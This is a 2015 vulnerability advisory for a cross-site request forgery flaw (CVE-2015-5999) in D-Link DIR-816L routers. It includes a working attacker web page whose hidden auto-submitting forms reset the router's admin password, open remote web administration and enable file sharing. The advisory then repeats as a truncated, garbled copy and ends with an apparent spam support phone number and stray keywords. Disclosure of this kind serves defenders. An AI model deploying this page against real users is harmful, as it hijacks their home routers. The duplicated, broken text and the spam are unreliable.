Title:
====
D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability
Credit:
======
Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com
CVE:
=====
CVE-2015-5999
Date:
====
10-11-2015 (dd/mm/yyyy)
Vendor:
======
D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.
Product:
=======
DIR-816L is a wireless AC750 Dual Band Cloud Router
Product link: http://support.dlink.com/ ProductInfo.aspx?m=DIR-816L
Abstract:
=======
Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.
Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure
Affected Version:
=============
<=2.06.B01
Exploitation-Technique:
===================
Remote
Severity Rating:
===================
7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)
Details:
=======
An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.
Proof Of Concept:
================
1) User login to DIR-816L wireless router
2) User visits the attacker's malicious web page (attacker.html)
3) attacker.html exploits CSRF vulnerability and changes the admin account password
PoC video link: http://youtu.be/UBdR2sUc8Wg
Exploit code (attacker.html):
<html>
<body>
<iframe style="display:none" name="hiddenpost"></iframe>
<form action="http://192.168.0.1/ hedwig.cgi" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">
<input type="hidden" name="<?xml  version" value=""1.0"&# 32;encoding="UTF- 8"?> < postxml> <module> 	<service> DEVICE.ACCOUNT</ service> 	< device> 		<gw& #95;name>DIR-816L<&# 47;gw_name> 	&# 9; 		<account> 			<seqno> 1</seqno> 	&# 9;	<max>2</ max> 			< count>1</count>&# 10;			<entry>&# 10;				<uid> USR-</uid> & #9;			<name> Admin</name> &# 9;			<usrid/& gt; 				< password>password</ password> 			& #9;<group>0</ group> 				 <description/> & #9;		</entry>& #10;		</account& gt; 		<group>& #10;			<seqno/ > 		&
#9;<max/> 	&# 9;	<count>0</ count> 		<&# 47;group> 		< session> 			& lt;captcha>1</ captcha> 			& lt;dummy/> 		 	<timeout>180<&# 47;timeout> 		&# 9;<maxsession>128<&# 47;maxsession> 		 	<maxauthorized>16& lt;/maxauthorized> 		</session>&# 10;	</device>&# 10;</module> & lt;module> 	< service>HTTP.WAN-1& lt;/service> 	& lt;inf> 		< web></web> &# 9;	<https_rport>& lt;/https_rport>&# 10;		<stunnel>1& lt;/stunnel> 	&# 9;<weballow> 	&# 9;	<hostv4ip/>&# 10;		</weballow& gt; 		<inbfilter& #47;> 	</inf& gt; 	 </ module> <module>& #10;	<service>HTTP&# 46;WAN-
;2</service> &# 9;<inf> 		< a!
ctive>
;0</active> 	 	<nat>NAT-1<&# 47;nat> 		< web/> 		< weballow> 			& lt;hostv4ip/> 	& #9;</weballow> & #9;</inf> 	&# 10;</module> & lt;module> 	< service>INBFILTER</ service> 	<acl& gt; 		<inbfilter& gt;		 			&# 9;		<seqno>1<&# 47;seqno> 			& lt;max>24</max>&# 10;			<count>0& lt;/count> &# 9;	</inbfilter>&# 9;	 	</acl& gt; 	<ACTIVATE> ignore</ACTIVATE>&# 10;<FATLADY>ignore<&# 47;FATLADY><SETCFG> ignore</SETCFG><& #47;module> <module& gt; 	<service> SHAREPORT</service>& #10;	<FATLADY>ignore& lt;/FATLADY> 	&# 10;<ACTIVATE>ignore<& #47;ACTIVATE></ module> <module>
	<service>SAMBA& lt;/service> 	& lt;samba>		 	& #9;     &# 9;	<enable>1</ enable> 		< auth>1</auth>&# 10;     & lt;/samba> <&# 47;module> </ postxml>" />
</form>
<script>alert("This is CSRF PoC");document.getElementById( "csrf").submit()</script>
<iframe style="display:none" name="hiddencommit"></iframe>
<form action="http://192.168.0.1/ pigwidgeon.cgi" method="POST" target="hiddencommit" id="csrf1">
<input type="hidden" name="ACTIONS" value="SETCFG,SAVE, ACTIVATE" />
</form>
<script>document. getElementById("csrf1"). submit()</script>
</body>
</html>
Patched/Fixed Firmware and notes:
==========================
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ ADVISEMENTS/DIR-816L/DIR-816L_ REVB_FIRMWARE_PATCH_2.06.B09_ BETA.ZIP
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_ ADVISEMENTS/DIR-816L/DIR-816L_ REVB_FIRMWARE_PATCH_NOTES_2. 06.B09_BETA_EN.PDF
Credits:
=======
Bhadresh Patel
Security Analyst
HelpAG (www.helpag.com)
====
D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability
Credit:
======
Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com
CVE:
=====
CVE-2015-5999
Date:
====
10-11-2015 (dd/mm/yyyy)
Vendor:
======
D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.
Product:
=======
DIR-816L is a wireless AC750 Dual Band Cloud Router
Product link: http://support.dlink.com/
Abstract:
=======
Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.
Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure
Affected Version:
=============
<=2.06.B01
Exploitation-Technique:
===================
Remote
Severity Rating:
===================
7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)
Details:
=======
An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.
Proof Of Concept:
================
1) User login to DIR-816L wireless router
2) User visits the attacker's malicious web page (attacker.html)
3) attacker.html exploits CSRF vulnerability and changes the admin account password
PoC video link: http://youtu.be/UBdR2sUc8Wg
Exploit code (attacker.html):
<html>
<body>
<iframe style="display:none" name="hiddenpost"></iframe>
<form action="http://192.168.0.1/
<input type="hidden" name="<?xml 
#9;<max/> 	&#
;2</service> &#
ctive>
;0</active> 	
	<service>SAMBA&
</form>
<script>alert("This is CSRF PoC");document.getElementById(
<iframe style="display:none" name="hiddencommit"></iframe>
<form action="http://192.168.0.1/
<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,
</form>
<script>document.
</body>
</html>
Patched/Fixed Firmware and notes:
==========================
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_
2.06.B09_BETA -- ftp://FTP2.DLINK.COM/SECURITY_
Credits:
=======
Bhadresh Patel
Security Analyst
HelpAG (www.helpag.com)
Looking for D-link Support call on 1800987893 , visit on:
AtsakytiPanaikintidlink firmware
d link admin password